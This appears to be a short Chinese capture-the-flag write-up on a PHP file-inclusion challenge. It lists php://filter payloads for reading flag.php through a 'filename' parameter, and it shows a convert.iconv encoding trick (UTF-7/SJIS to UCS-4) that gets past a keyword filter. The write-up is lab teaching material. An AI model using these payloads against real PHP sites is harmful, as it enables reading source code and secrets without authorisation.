看到 include()，想到文件包含，用php伪协议。
知识点
看到 include()，require()，include_once()，require_once() ，想到文件包含，用php伪协议
?filename=php://filter/read=convert.base64-encode/resource=
?filename=php://filter/read=convert.base64-encode/resource=flag.php
一直显示 do not hack! ，可能是 include("./check.php") 过滤了
依次尝试如下payload，还是提示 do not hack
php://filter/convert.base64-encode/resource=flag.php
php://filter/convert.quoted-printable-encode/resource=flag.php
php://filter/string.rot13/resource=flag.php
php://filter/string.toupper/resource=flag.php
php://filter/string.tolower/resource=flag.php
php://filter/string.strip_tags/resource=flag.php
知识点
convert.iconv.[ ]过滤器：
使用有两种方法:
convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<input-encoding>/<output-encoding>
用bp爆破一下。 要一个一个的试
找到输出编码，再找输入编码
/?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php
或者
/?filename=php://filter/convert.iconv.SJIS*.UCS-4*/resource=flag.php
通过本道题，你要知道：
（1）php://filter 其他编码方式。
（2）convert.iconv. 要一个一个的破解。
